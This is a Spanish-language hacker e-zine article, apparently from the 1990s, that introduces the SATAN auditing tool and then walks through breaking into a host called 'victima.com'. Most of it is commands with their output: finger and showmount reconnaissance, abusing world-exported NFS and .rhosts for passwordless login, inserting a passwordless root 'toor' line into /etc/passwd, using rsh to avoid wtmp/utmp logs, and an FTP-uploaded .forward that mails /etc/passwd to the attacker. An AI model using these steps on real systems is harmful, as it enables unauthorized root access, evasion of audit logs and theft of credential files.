IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 06. A SOLAS CON SATAN o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII SATAN (Security Analysis Tool for Auditing Networks.) Escrito por Dan Farmer y Wietse Venema. šQue es SATAN?. Es una herramienta pensada para que los administradores encuentren los posibles "agujeros" de su red y los reparen, como todas las cosas es un arma de doble filo. SATAN fue escrito para analizar un host o grupo de hosts y recolectar via NIS, finger, NFS, ftp, tftp, rexd y otros servicios, informacion sobre la configuracion de una red y posibles brechas de seguridad, testeando setups incorrectos y bugs conocidos, esta escrito de manera modular en perl, C, shell, etc.. Es demasiado complejo para explicarlo en un solo articulo por lo que si notamos un feedback positivo lo ampliaremos en posteriores ediciones. En este numero nos limitaremos a explicar como "ganar informacion" sobre nuestro objetivo. Vamos a tratar de obtener informacion digamos sobre victima.com, para ello podemos recurrir a servicios como finger, showmount, rcpinfo, DNS, whois, sendmail, ftp..etc. En este ejemplo actuaremos desde saq.com victima % finger victima.com [victima.com] Login Name TTY Idle When Where palo Dr. Lucas co 1d Wed 08:00 paf.com Bien, solo un usuario desde luego si entras no habra mucha gente que se pueda dar cuenta. Ahora vamos a probar a hacer finger a cuentas como "@", "0" y "" y a nombres comunes como root, bin, ftp, system, guest, demo, manager, etc., para ver que info obtenemos. La informacion obtenida sera generalmente nombres de cuentas, home directories y su ultimo log. NOTA: En _muchos_ casos los proveedores estan deshabilitando el servicio finger por los peligros de seguridad que conlleva. A la informacion asi obtenida se le puede a€adir la conseguida al ejecutar rusers -l que proporciona datos sobre los usuarios actuales de la red. Veamos un ejemplo de lo que podria ser un output de esos comandos una vez la informacion esta ordenada. Victima.com Login Home-dir Shell Ultimo login: Desde. ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from srv.victima.com daemon / Tue Mar 23 12:14 on ttyp0 from big.victima.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victima.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from xxx.com pas /home/pas /bin/csh Wed Nov 5 05:33 on ttyp3 from saq.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in Esta informacion no permite entrar en el sistema evidentemente pero ya sabemos unas cuantas cosas sobre victima.com sin habernos tomado mucho trabajo, por eso estan deshabilitando el finger a marchas forzadas. :( Vamos a seguir recogiendo info, ejecutemos showmount en victima.com Saq.com % showmount -e victima.com export list for victima.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy Vemos que /export es accesible para todo el mundo y click! nos acordamos de que export/foo es el home directory del usuario guest. Ya tenemos marcado el camino de entrada. Vamos a efectuar un mount del directorio inicial del user "guest". Puesto que no tenemos cuenta en la maquina local y puesto que el root no puede modificar ficheros en un sistema de ficheros NFS 'montados' lo que haremos es crear una cuenta "guest" en nuestro fichero de claves local, como usuario guest podemos poner una entrada .rhosts en el directorio export/foo y esto nos permitira hacer un login como guest a victima.com .... sin password. Basta de rollo, aqui van los comandos: :-) saq # mount victim.com:/export/foo /foo saq # cd /foo saq # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest saq # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd saq # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest saq # su guest saq % echo saq.com >> guest/.rhosts saq % rlogin victima.com Welcome to victima.com! victima % Facil šno?. Si en lugar de directorios iniciales victima.com exportase ficheros del sistema con comandos como (say, /usr, /usr/local/bin) podriamos reemplazar uno de esos comandos de usuario con un troyano que ejecutase un comando de nuestra eleccion. El siguiente usuario que ejecutase ese comando lo que haria en realidad es ejecutar _nuestro_ programa. En el caso de que victima.com tuviese un comodin "+" en su /etc/hosts.equiv que en algunos casos es la configuracion por defecto cualquier usuario sin cuenta de root con un nombre de login en el fichero de passwords en victima.com podria hacer rlogin a victima.com ...sin password. El siguiente paso seria hacer log en victima.com e intentar modificar el fichero de passwords para obtener acceso de root. saq % whoami bin saq % rsh victima.com csh -i Warning: no access to tty; victima % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victima % cd /etc victima % mv passwd pw.old victima % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victima % ^D saq % rlogin victima.com -l toor Welcome to victima.com! victima # NOTA:"rsh victim.com csh -i" se usa para entrar inicialmente en el sistema por que no deja trazas en los ficheros de auditoria wtmp o utmp, convirtiendo el rsh en "invisible" para el finger y el who. šHemos acabado?. No, ni de buen trozo. SATAN aun puede buscar mas brechas de seguridad, volvemos a examinar los resultados de finger y rusers y vemos una cuenta "ftp" por lo que posiblemente se permita anonymous FTP. Hay veces en que el FTP esta mal configurado y ofrece posibilidades a un intruso, probemos a ver si victima.com guarda una copia completa de su fichero de claves en ~ftp/etc en lugar de una "version reducida". Si se da el caso de que podemos escribir en el directorio inicial de ftp podemos ejecutar remotamente un comando que haga... no se.. que os parece que nos mande el fichero de claves *por correo*. El mecanismo es simple, como el del programa que envia el mensaje de "vacation" para contestar automaticamente a los mensajes que llegan. saq % cat forward_loser_file "|/bin/mail pas@saq.com < /etc/passwd" saq % ftp victima.com Connected to victima.com 220 victima FTP server ready. Name (victima.com:pas): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_loser_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit saq % echo test | mail ftp@victima.com Ahora tomaros un JB mientras esperais tranquilamente a que os llegue el fichero de claves. Si el tema interesa en proximos numeros seguiremos hablando de SATAN, rcpinfo, NIS y como no, el infame Sendmail, posiblemente el programa con mas bugs de la historia con permiso del MierdaSoft Internet Explorer.